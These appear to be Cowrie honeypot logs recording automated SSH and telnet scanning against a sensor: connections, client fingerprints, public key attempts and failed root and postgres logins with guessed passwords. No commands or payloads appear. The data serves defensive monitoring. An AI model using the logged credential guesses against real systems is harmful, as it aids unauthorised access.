{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:47:36.986219Z","src_ip":"111.238.174.6","session":"62caf9624d18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq12345678","message":"login attempt [root/Qq12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:47:37.783551Z","src_ip":"111.238.174.6","session":"62caf9624d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:47:38.979882Z","src_ip":"111.238.174.6","session":"62caf9624d18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54340,"dst_ip":"159.203.135.109","dst_port":23,"session":"514d0d97ec3b","protocol":"telnet","message":"New connection: 128.199.8.54:54340 (159.203.135.109:23) [session: 514d0d97ec3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:47:47.150424Z"}
{"eventid":"cowrie.session.closed","duration":45.296523332595825,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:09.135305Z","src_ip":"128.199.8.54","session":"32b1e500b3a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.605966091156006,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:35.756312Z","src_ip":"128.199.8.54","session":"514d0d97ec3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":56500,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a1b41e827e6","protocol":"ssh","message":"New connection: 103.27.238.120:56500 (10.17.0.5:22) [session: 9a1b41e827e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:44.061784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:44.065346Z","src_ip":"103.27.238.120","session":"9a1b41e827e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:44.331476Z","src_ip":"103.27.238.120","session":"9a1b41e827e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"daddy","message":"login attempt [root/daddy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:45.132106Z","src_ip":"103.27.238.120","session":"9a1b41e827e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:46.400832Z","src_ip":"103.27.238.120","session":"9a1b41e827e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.114","src_port":59516,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f604fbc1a9e","protocol":"ssh","message":"New connection: 191.101.33.114:59516 (10.17.0.5:22) [session: 6f604fbc1a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.543497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.547046Z","src_ip":"191.101.33.114","session":"6f604fbc1a9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.573522Z","src_ip":"191.101.33.114","session":"6f604fbc1a9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:b1:b9:3d:fa:8a:73:38:93:65:dc:d7:52:c4:dc:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL0EGOWD/aIHSNqwFAdeUia+gPKUVPMei99I7OTyS6hPmv76T5f5CU/2NC2vgRuj3MiwypyJECVxiJ27Ct2//9bNLCF8IOeZJBKA5nIFvga0MPl+yu+lyDMFt9OWbcV6ukp2lEvxRgAXuMFZPAe1WhmnIr2v8dYizFXI+2ecoGEDlPodDtOL3sNonX5UatN5rbipbgQQiPYc+ERIu5x0VhHz/KtcXDkBbzdYITi6Ae8vbnU7p57IJ7JqF8D0ghQkdOYhs3ggqUx9KaKCu6vDxuZ6FUTfKOl9P6DPkaiPKcC2uOXRSDvk6v6Jo7018yCEc0QiuQGkc17+qAXdTYwUav","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:b1:b9:3d:fa:8a:73:38:93:65:dc:d7:52:c4:dc:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.685986Z","src_ip":"191.101.33.114","session":"6f604fbc1a9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:b1:b9:3d:fa:8a:73:38:93:65:dc:d7:52:c4:dc:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL0EGOWD/aIHSNqwFAdeUia+gPKUVPMei99I7OTyS6hPmv76T5f5CU/2NC2vgRuj3MiwypyJECVxiJ27Ct2//9bNLCF8IOeZJBKA5nIFvga0MPl+yu+lyDMFt9OWbcV6ukp2lEvxRgAXuMFZPAe1WhmnIr2v8dYizFXI+2ecoGEDlPodDtOL3sNonX5UatN5rbipbgQQiPYc+ERIu5x0VhHz/KtcXDkBbzdYITi6Ae8vbnU7p57IJ7JqF8D0ghQkdOYhs3ggqUx9KaKCu6vDxuZ6FUTfKOl9P6DPkaiPKcC2uOXRSDvk6v6Jo7018yCEc0QiuQGkc17+qAXdTYwUav","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.688424Z","src_ip":"191.101.33.114","session":"6f604fbc1a9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:70:a0:dc:03:2d:0c:9e:82:50:46:b5:f5:dd:58:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxNlKS7ncpdObuCJILW6h0U/Yd427RgzBsZu07llNoH6Kd6q95H73W0iN6Yhz19PEz7PVTyCQsHjyNZEM4h7p0BlrsqARZN7aGn2/z+DE2K2rZxMZgRZpOS4Zx3ASH2bfE260CnxGUVJkaU6wiH4bVpNWjY5qfJtQ8/K7eKzmCQzodgvprqaahWkYh+yYhs7+mErfvOUbtvNHPeYJv3TNhhgE1zTNq1cb+rHFcKPI7wArZBslaHE/6JMxw3g5YbBjXiHrwe1CLrZCW0Can72F1a7DD81+vPlhfBbbV5fvy3FyP68c8lQ2WKDyvkbvOFQ705W7VO9rpd7Way7ggNnvEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:70:a0:dc:03:2d:0c:9e:82:50:46:b5:f5:dd:58:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.714560Z","src_ip":"191.101.33.114","session":"6f604fbc1a9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:70:a0:dc:03:2d:0c:9e:82:50:46:b5:f5:dd:58:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxNlKS7ncpdObuCJILW6h0U/Yd427RgzBsZu07llNoH6Kd6q95H73W0iN6Yhz19PEz7PVTyCQsHjyNZEM4h7p0BlrsqARZN7aGn2/z+DE2K2rZxMZgRZpOS4Zx3ASH2bfE260CnxGUVJkaU6wiH4bVpNWjY5qfJtQ8/K7eKzmCQzodgvprqaahWkYh+yYhs7+mErfvOUbtvNHPeYJv3TNhhgE1zTNq1cb+rHFcKPI7wArZBslaHE/6JMxw3g5YbBjXiHrwe1CLrZCW0Can72F1a7DD81+vPlhfBbbV5fvy3FyP68c8lQ2WKDyvkbvOFQ705W7VO9rpd7Way7ggNnvEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.717131Z","src_ip":"191.101.33.114","session":"6f604fbc1a9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:48:7f:cb:3e:c4:5a:46:b9:e8:f0:eb:f2:5d:9d:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Z6E/5Jg6BxZI8IZWkrkckzqXR+X4sEdVspUZGV9CzVbej/4wept5qbN1FpA95WGs7akR6nEca2cNdBHrT3Sw2NNGackKvHXWl5+sqV/ju9vaTS+Sz7DCahg+pk4f0RRiXqkJP8m75KJVPE8SgXo7q+41tPMfFWHvz+Xj3KwfzQvlbrHqwu85YYsx/z7HhDFYcm7Su7iCvbKSq18UmAMWFtrAJJPpozTkbsY+2wbovvJiKUxbO1rXGySpVWxf6RcPmG5hlwozl35IHg8IwGzJhkHU/qZO5F1ay8kMxnriMAm9vdzvh19x6PuaVxnUpEfHdmihwMeYr2yhvf0XtxeX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:48:7f:cb:3e:c4:5a:46:b9:e8:f0:eb:f2:5d:9d:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.744091Z","src_ip":"191.101.33.114","session":"6f604fbc1a9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:48:7f:cb:3e:c4:5a:46:b9:e8:f0:eb:f2:5d:9d:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Z6E/5Jg6BxZI8IZWkrkckzqXR+X4sEdVspUZGV9CzVbej/4wept5qbN1FpA95WGs7akR6nEca2cNdBHrT3Sw2NNGackKvHXWl5+sqV/ju9vaTS+Sz7DCahg+pk4f0RRiXqkJP8m75KJVPE8SgXo7q+41tPMfFWHvz+Xj3KwfzQvlbrHqwu85YYsx/z7HhDFYcm7Su7iCvbKSq18UmAMWFtrAJJPpozTkbsY+2wbovvJiKUxbO1rXGySpVWxf6RcPmG5hlwozl35IHg8IwGzJhkHU/qZO5F1ay8kMxnriMAm9vdzvh19x6PuaVxnUpEfHdmihwMeYr2yhvf0XtxeX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.747328Z","src_ip":"191.101.33.114","session":"6f604fbc1a9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:de:06:9c:b3:cb:21:8e:18:2f:f9:03:29:52:99:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4E/Os9B2+W5m2mXgv7+1ew/d9EpR9vB7sWPg5iwiZZfzXpY0vpakOtpvwAEgUGug63nzHoWxZ7aSnPq4mA1AfK+2Hku6AXIA9laOLnCPm9ogWaWgeAFu6tqNbILd09xldr07X+R7qRP14gAdVfH5pXJu1riYNPfa3mtUEyIEoJCKvbNbYlTSLjAgtpZHGkslIHd2GbaY85aIffA5hluMaBvY5V4ZgCqswQbP0JzHcEN1yhwvVWW2ltGUOyKYhg/xf+GkUsDNslrZMOlvwYnLwTWMGURDSBrCH9p6HCPIY37L5mZs62cJIABdI+klxclv+dRduQXZV1vp3+Q7uPJXeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:de:06:9c:b3:cb:21:8e:18:2f:f9:03:29:52:99:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.774526Z","src_ip":"191.101.33.114","session":"6f604fbc1a9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:de:06:9c:b3:cb:21:8e:18:2f:f9:03:29:52:99:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4E/Os9B2+W5m2mXgv7+1ew/d9EpR9vB7sWPg5iwiZZfzXpY0vpakOtpvwAEgUGug63nzHoWxZ7aSnPq4mA1AfK+2Hku6AXIA9laOLnCPm9ogWaWgeAFu6tqNbILd09xldr07X+R7qRP14gAdVfH5pXJu1riYNPfa3mtUEyIEoJCKvbNbYlTSLjAgtpZHGkslIHd2GbaY85aIffA5hluMaBvY5V4ZgCqswQbP0JzHcEN1yhwvVWW2ltGUOyKYhg/xf+GkUsDNslrZMOlvwYnLwTWMGURDSBrCH9p6HCPIY37L5mZs62cJIABdI+klxclv+dRduQXZV1vp3+Q7uPJXeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.777742Z","src_ip":"191.101.33.114","session":"6f604fbc1a9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:be:28:2c:b1:64:3d:6f:e3:52:fb:80:54:22:b9:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWjGlmTNfW1MZOCyG1i+dN9KfMVAUpzlRXqZ0sOXx7ZtSy/Qcnu8DbD1z5RZxFz7vm6RoRSRQW7c3hM57iWxsA3HcidGYjRoj5TatrpJZjKwAsyhMXRL2rtqipbrdUn6elCkI92y0uYUtu4j4xWtubCGYo90HYosWQGyQGotp5PXRgHcVeXM46i6FtSL6ZXACQV5pj4gGzpHFGeHDrgJKbNYstjm3rcoULOXGs1VlZG1VEBcAgulGVtQzurLkVxPf7yTmo9fZ6nFnmD2+b3Ak9oyI1lZKUY0BBTB8RIs0Y6k7bkz53jx9xzYctlec+HVXOTV3Rlk+Q1BzISB0pW9QX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:be:28:2c:b1:64:3d:6f:e3:52:fb:80:54:22:b9:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.805486Z","src_ip":"191.101.33.114","session":"6f604fbc1a9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:be:28:2c:b1:64:3d:6f:e3:52:fb:80:54:22:b9:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWjGlmTNfW1MZOCyG1i+dN9KfMVAUpzlRXqZ0sOXx7ZtSy/Qcnu8DbD1z5RZxFz7vm6RoRSRQW7c3hM57iWxsA3HcidGYjRoj5TatrpJZjKwAsyhMXRL2rtqipbrdUn6elCkI92y0uYUtu4j4xWtubCGYo90HYosWQGyQGotp5PXRgHcVeXM46i6FtSL6ZXACQV5pj4gGzpHFGeHDrgJKbNYstjm3rcoULOXGs1VlZG1VEBcAgulGVtQzurLkVxPf7yTmo9fZ6nFnmD2+b3Ak9oyI1lZKUY0BBTB8RIs0Y6k7bkz53jx9xzYctlec+HVXOTV3Rlk+Q1BzISB0pW9QX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.809213Z","src_ip":"191.101.33.114","session":"6f604fbc1a9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:49.836765Z","src_ip":"191.101.33.114","session":"6f604fbc1a9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":51326,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b2d99c5133c","protocol":"ssh","message":"New connection: 111.238.174.6:51326 (10.17.0.5:22) [session: 4b2d99c5133c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:55.360028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:55.364813Z","src_ip":"111.238.174.6","session":"4b2d99c5133c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:55.548977Z","src_ip":"111.238.174.6","session":"4b2d99c5133c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"root","message":"login attempt [postgres/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:56.344537Z","src_ip":"111.238.174.6","session":"4b2d99c5133c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:48:57.545465Z","src_ip":"111.238.174.6","session":"4b2d99c5133c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":38878,"dst_ip":"159.203.135.109","dst_port":22,"session":"45c06eb3882e","protocol":"ssh","message":"New connection: 103.82.132.16:38878 (159.203.135.109:22) [session: 45c06eb3882e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:13.031060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:13.034366Z","src_ip":"103.82.132.16","session":"45c06eb3882e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:13.283693Z","src_ip":"103.82.132.16","session":"45c06eb3882e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199393","message":"login attempt [root/199393] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:14.032588Z","src_ip":"103.82.132.16","session":"45c06eb3882e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:49:15.284624Z","src_ip":"103.82.132.16","session":"45c06eb3882e","protocol":"ssh"}
